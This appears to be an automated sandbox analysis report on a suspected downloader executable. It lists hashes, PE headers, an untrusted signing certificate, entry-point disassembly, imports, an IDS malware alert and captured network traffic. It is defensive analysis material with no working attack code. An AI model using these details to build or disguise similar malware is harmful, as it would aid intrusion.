| SHA-512: | AFE9F39C392A6DE29B551393CB032534D04AA18B82E747406A23828DE7B4088FBA3045F0DD8ECC37C3A4FE45125605C0504EA8A1C38DA429624A35753E8E3ED2 |
| Malicious: | false |
| Preview: |
| Process: | C:\Users\user\Desktop\LMSxhK1u8Z.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 457562 |
| Entropy (8bit): | 1.2482312628496608 |
| Encrypted: | false |
| SSDEEP: | 1536:2jMpNhAlrasgHvP3V5s9ASYucRtPbRS9y:hpNhX93V5sOSTczjB |
| MD5: | E4AC954ED484155B2A165BF00B1E8A4F |
| SHA1: | 21ACBAC21538E0258892381807BBE19524DA02E3 |
| SHA-256: | 3078C30C80C29C473A796C4E1FE5F89A175D9B23FC88DBCD0262D93B0C67BEED |
| SHA-512: | A63E484A5CF926E2484B69210BE047B1F90DAC2A0F813E33D2F1B507CC45AF21169AEC9EBEAA6152CDB2448BEE7B09D82E4427C7596E864B09A7A15560D323AC |
| Malicious: | false |
| Preview: |
| File type: | |
| Entropy (8bit): | 7.5565849180901195 |
| TrID: |
|
| File name: | LMSxhK1u8Z.exe |
| File size: | 1'048'752 bytes |
| MD5: | f2827f013a265de94993c62bf9756b00 |
| SHA1: | 9cc4cc403434e08c9c2e2ab312980cad6b2470ca |
| SHA256: | fe05b02fda8dc707ceb4143b4a2e4d6553d5410f226907cf0ae318b54edf28b2 |
| SHA512: | 02af8c436750df4e9c36ce4e93d4f263563bbc6052693441b82cc2e970fafca557039fae92cee0493ecd28d433c7c8594433421ced08f033ed8fd317b12e090b |
| SSDEEP: | 24576:2j+EpTNHhl/G2yQhhdR/mwmNG3Ap137dboaPjyMi76KbP:S+OT5vG2y2hvXt3IRM+i76y |
| TLSH: | 8E252342FAD190AED4B64632CA5BD63E047AED5CDC400613A7643F4F797AA82AC3435F |
| File Content Preview: | MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.*ju.*ju.*j..ujw.*ju.+j..*j..wjd.*j!..j..*j..,jt.*jRichu.*j........PE..L....e.Q.................b...........1............@ |
 | |
| Icon Hash: | 0d4f7fd151493b07 |
| Entrypoint: | 0x4031dd |
| Entrypoint Section: | .text |
| Digitally signed: | true |
| Imagebase: | 0x400000 |
| Subsystem: | windows gui |
| Image File Characteristics: | RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE |
| DLL Characteristics: | TERMINAL_SERVER_AWARE |
| Time Stamp: | 0x519965E1 [Sun May 19 23:53:05 2013 UTC] |
| TLS Callbacks: | |
| CLR (.Net) Version: | |
| OS Version Major: | 4 |
| OS Version Minor: | 0 |
| File Version Major: | 4 |
| File Version Minor: | 0 |
| Subsystem Version Major: | 4 |
| Subsystem Version Minor: | 0 |
| Import Hash: | 7fd61eafe142870d6d0380163804a642 |
| Signature Valid: | false |
| Signature Issuer: | CN=Snobbismens, O=Snobbismens, L=Besan\xe7on, C=FR |
| Signature Validation Error: | A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider |
| Error Number: | -2146762487 |
| Not Before, Not After |
|
| Subject Chain |
|
| Version: | 3 |
| Thumbprint MD5: | B4D054FDC4E6394CF0C3F6C9CEF374D6 |
| Thumbprint SHA-1: | 1D54D11202914B6E52F124CA4CBDC2933D6CCEC8 |
| Thumbprint SHA-256: | A0F5D37522682D51C6953814803EC1FBD1BE02B5799C3689AE8E71EA223D1617 |
| Serial: | 5835A1A469993DF5C03E2F2A2279AE0FB77356F9 |
| Instruction |
|---|
| sub esp, 000002D4h |
| push ebx |
| push ebp |
| push esi |
| push edi |
| push 00000020h |
| xor ebp, ebp |
| pop esi |
| mov dword ptr [esp+18h], ebp |
| mov dword ptr [esp+10h], 0040A2D8h |
| mov dword ptr [esp+14h], ebp |
| call dword ptr [00408034h] |
| push 00008001h |
| call dword ptr [00408134h] |
| push ebp |
| call dword ptr [004082ACh] |
| push 00000008h |
| mov dword ptr [00434F58h], eax |
| call 00007FF3C8D79E85h |
| mov dword ptr [00434EA4h], eax |
| push ebp |
| lea eax, dword ptr [esp+34h] |
| push 000002B4h |
| push eax |
| push ebp |
| push 0042B1B8h |
| call dword ptr [0040817Ch] |
| push 0040A2C0h |
| push 00433EA0h |
| call 00007FF3C8D79AF0h |
| call dword ptr [00408138h] |
| mov ebx, 0043F000h |
| push eax |
| push ebx |
| call 00007FF3C8D79ADEh |
| push ebp |
| call dword ptr [0040810Ch] |
| cmp word ptr [0043F000h], 0022h |
| mov dword ptr [00434EA0h], eax |
| mov eax, ebx |
| jne 00007FF3C8D76FFAh |
| push 00000022h |
| mov eax, 0043F002h |
| pop esi |
| push esi |
| push eax |
| call 00007FF3C8D7954Ch |
| push eax |
| call dword ptr [00408240h] |
| mov dword ptr [esp+1Ch], eax |
| jmp 00007FF3C8D770B9h |
| push 00000020h |
| pop edx |
| cmp cx, dx |
| jne 00007FF3C8D76FF9h |
| inc eax |
| inc eax |
| cmp word ptr [eax], dx |
| je 00007FF3C8D76FEBh |
| add word ptr [eax], 0000h |
| Programming Language: |
|
| Name | Virtual Address | Virtual Size | Is in Section |
|---|---|---|---|
| IMAGE_DIRECTORY_ENTRY_EXPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_IMPORT | 0x85a0 | 0xb4 | .rdata |
| IMAGE_DIRECTORY_ENTRY_RESOURCE | 0x55000 | 0x2eba8 | .rsrc |
| IMAGE_DIRECTORY_ENTRY_EXCEPTION | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_SECURITY | 0xff7a8 | 0x908 | |
| IMAGE_DIRECTORY_ENTRY_BASERELOC | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_DEBUG | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_COPYRIGHT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_GLOBALPTR | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_TLS | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_IAT | 0x8000 | 0x2b8 | .rdata |
| IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR | 0x0 | 0x0 | |
| IMAGE_DIRECTORY_ENTRY_RESERVED | 0x0 | 0x0 |
| Name | Virtual Address | Virtual Size | Raw Size | MD5 | Xored PE | ZLIB Complexity | File Type | Entropy | Characteristics |
|---|---|---|---|---|---|---|---|---|---|
| .text | 0x1000 | 0x6010 | 0x6200 | c51ae685760de510818d22f29d66b8b0 | False | 0.6646603954081632 | data | 6.440168137798694 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ |
| .rdata | 0x8000 | 0x1460 | 0x1600 | 24345ed7377f4b4663284282b5ef48b3 | False | 0.42134232954545453 | data | 4.947177345443015 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
| .data | 0xa000 | 0x2af98 | 0x600 | dc268be7d1af6fdfcd38d44492cfdaf5 | False | 0.486328125 | data | 3.791234740340295 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
| .ndata | 0x35000 | 0x20000 | 0x0 | d41d8cd98f00b204e9800998ecf8427e | False | 0 | empty | 0.0 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE |
| .rsrc | 0x55000 | 0x2eba8 | 0x2ec00 | bdebbd0274fda95ee828978bf6f6217f | False | 0.3979413853609626 | data | 3.9167771947187013 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ |
| Name | RVA | Size | Type | Language | Country | ZLIB Complexity |
|---|---|---|---|---|---|---|
| RT_ICON | 0x55388 | 0x10828 | Device independent bitmap graphic, 128 x 256 x 32, image size 67584 | English | United States | 0.364929610789069 |
| RT_ICON | 0x65bb0 | 0x94a8 | Device independent bitmap graphic, 96 x 192 x 32, image size 38016 | English | United States | 0.403011351692243 |
| RT_ICON | 0x6f058 | 0x67e8 | Device independent bitmap graphic, 80 x 160 x 32, image size 26560 | English | United States | 0.4087218045112782 |
| RT_ICON | 0x75840 | 0x5488 | Device independent bitmap graphic, 72 x 144 x 32, image size 21600 | English | United States | 0.4187615526802218 |
| RT_ICON | 0x7acc8 | 0x4228 | Device independent bitmap graphic, 64 x 128 x 32, image size 16896 | English | United States | 0.40298771846953235 |
| RT_ICON | 0x7eef0 | 0x25a8 | Device independent bitmap graphic, 48 x 96 x 32, image size 9600 | English | United States | 0.4413900414937759 |
| RT_ICON | 0x81498 | 0x10a8 | Device independent bitmap graphic, 32 x 64 x 32, image size 4224 | English | United States | 0.4702157598499062 |
| RT_ICON | 0x82540 | 0x988 | Device independent bitmap graphic, 24 x 48 x 32, image size 2400 | English | United States | 0.5204918032786885 |
| RT_ICON | 0x82ec8 | 0x468 | Device independent bitmap graphic, 16 x 32 x 32, image size 1088 | English | United States | 0.5824468085106383 |
| RT_DIALOG | 0x83330 | 0x100 | data | English | United States | 0.5234375 |
| RT_DIALOG | 0x83430 | 0x11c | data | English | United States | 0.6091549295774648 |
| RT_DIALOG | 0x83550 | 0xc4 | data | English | United States | 0.5918367346938775 |
| RT_DIALOG | 0x83618 | 0x60 | data | English | United States | 0.7291666666666666 |
| RT_GROUP_ICON | 0x83678 | 0x84 | data | English | United States | 0.7272727272727273 |
| RT_VERSION | 0x83700 | 0x1d8 | data | English | United States | 0.5317796610169492 |
| RT_MANIFEST | 0x838d8 | 0x2cb | XML 1.0 document, ASCII text, with very long lines (715), with no line terminators | English | United States | 0.5664335664335665 |
| DLL | Import |
|---|---|
| KERNEL32.dll | CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, SetFileAttributesW, ExpandEnvironmentStringsW, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, SetErrorMode, GetCommandLineW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, MultiByteToWideChar, FindClose, MulDiv, ReadFile, WriteFile, lstrlenA, WideCharToMultiByte |
| USER32.dll | EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow |
| GDI32.dll | SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor |
| SHELL32.dll | SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW |
| ADVAPI32.dll | RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW |
| COMCTL32.dll | ImageList_Create, ImageList_AddMasked, ImageList_Destroy |
| ole32.dll | CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize |
| VERSION.dll | GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW |
| Language of compilation system | Country where language is spoken | Map |
|---|---|---|
| English | United States |  |
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node| Timestamp | SID | Signature | Severity | Source IP | Source Port | Dest IP | Dest Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2025-01-11T03:52:30.599048+0100 | 2803270 | ETPRO MALWARE Common Downloader Header Pattern UHCa | 2 | 192.168.2.4 | 49736 | 172.217.16.206 | 443 | TCP |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Jan 11, 2025 03:52:29.558969021 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:29.559068918 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:29.559156895 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:29.576759100 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:29.576797009 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.219093084 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.219208002 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:30.219769001 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.219834089 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:30.277571917 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:30.277625084 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.278629065 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.278803110 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:30.283752918 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:30.327339888 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.599142075 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.599272013 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:30.599311113 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.599390030 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.599407911 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:30.599445105 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:30.600672960 CET | 49736 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:30.600708008 CET | 443 | 49736 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.628582954 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:30.628676891 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:30.628768921 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:30.629023075 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:30.629053116 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.271264076 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.271503925 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:31.279377937 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:31.279442072 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.279830933 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.280031919 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:31.280376911 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:31.323379040 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.704921961 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.705126047 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.705162048 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:31.705240011 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.705291986 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:31.705291986 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:31.705318928 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.705368996 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.705368996 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:31.705420971 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:31.717552900 CET | 49737 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:31.717643023 CET | 443 | 49737 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.836612940 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:31.836715937 CET | 443 | 49738 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.836950064 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:31.837681055 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:31.837711096 CET | 443 | 49738 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.949893951 CET | 53456 | 53 | 192.168.2.4 | 162.159.36.2 |
| Jan 11, 2025 03:52:31.954725981 CET | 53 | 53456 | 162.159.36.2 | 192.168.2.4 |
| Jan 11, 2025 03:52:31.954804897 CET | 53456 | 53 | 192.168.2.4 | 162.159.36.2 |
| Jan 11, 2025 03:52:31.959683895 CET | 53 | 53456 | 162.159.36.2 | 192.168.2.4 |
| Jan 11, 2025 03:52:32.423290014 CET | 53456 | 53 | 192.168.2.4 | 162.159.36.2 |
| Jan 11, 2025 03:52:32.428533077 CET | 53 | 53456 | 162.159.36.2 | 192.168.2.4 |
| Jan 11, 2025 03:52:32.428597927 CET | 53456 | 53 | 192.168.2.4 | 162.159.36.2 |
| Jan 11, 2025 03:52:32.472996950 CET | 443 | 49738 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:32.473088980 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:32.473656893 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:32.473685026 CET | 443 | 49738 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:32.473880053 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:32.473891973 CET | 443 | 49738 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:32.858211994 CET | 443 | 49738 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:32.858494043 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:32.858520031 CET | 443 | 49738 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:32.858592033 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:32.858592987 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:32.858592987 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:32.858634949 CET | 443 | 49738 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:32.858704090 CET | 49738 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:32.909380913 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:32.909450054 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:32.909523964 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:32.909846067 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:32.909868002 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:33.558783054 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:33.558866978 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:33.559442043 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:33.559475899 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:33.559638977 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:33.559653997 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:33.991897106 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:33.991967916 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:33.992005110 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:33.992048025 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:33.992140055 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:33.992196083 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:33.992261887 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:33.992346048 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:33.992364883 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:33.992393017 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:33.992899895 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:33.992919922 CET | 443 | 53459 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:33.992938042 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:33.992961884 CET | 53459 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:34.115974903 CET | 53460 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:34.116041899 CET | 443 | 53460 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:34.116311073 CET | 53460 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:34.116769075 CET | 53460 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:34.116782904 CET | 443 | 53460 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:34.775823116 CET | 443 | 53460 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:34.777946949 CET | 53460 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:34.778580904 CET | 53460 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:34.778594971 CET | 443 | 53460 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:34.783683062 CET | 53460 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:34.783694983 CET | 443 | 53460 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:35.165949106 CET | 443 | 53460 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:35.166034937 CET | 53460 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:35.166059017 CET | 443 | 53460 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:35.166125059 CET | 53460 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:35.166239023 CET | 53460 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:35.166337967 CET | 443 | 53460 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:35.166665077 CET | 53460 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:35.180408001 CET | 53461 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:35.180469990 CET | 443 | 53461 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:35.180565119 CET | 53461 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:35.180815935 CET | 53461 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:35.180833101 CET | 443 | 53461 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:35.839027882 CET | 443 | 53461 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:35.839301109 CET | 53461 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:35.850363016 CET | 53461 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:35.850405931 CET | 443 | 53461 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:35.850548029 CET | 53461 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:35.850554943 CET | 443 | 53461 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:36.284106970 CET | 443 | 53461 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:36.284162045 CET | 443 | 53461 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:36.284209967 CET | 53461 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:36.284235001 CET | 443 | 53461 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:36.284243107 CET | 53461 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:36.284276009 CET | 53461 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:36.285234928 CET | 53461 | 443 | 192.168.2.4 | 172.217.16.129 |
| Jan 11, 2025 03:52:36.285260916 CET | 443 | 53461 | 172.217.16.129 | 192.168.2.4 |
| Jan 11, 2025 03:52:36.397401094 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:36.397460938 CET | 443 | 53462 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:36.397583008 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:36.397917032 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:36.397929907 CET | 443 | 53462 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:37.028980970 CET | 443 | 53462 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:37.029082060 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:37.029632092 CET | 443 | 53462 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:37.029678106 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:37.031822920 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:37.031833887 CET | 443 | 53462 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:37.032085896 CET | 443 | 53462 | 172.217.16.206 | 192.168.2.4 |
| Jan 11, 2025 03:52:37.032156944 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
| Jan 11, 2025 03:52:37.032576084 CET | 53462 | 443 | 192.168.2.4 | 172.217.16.206 |
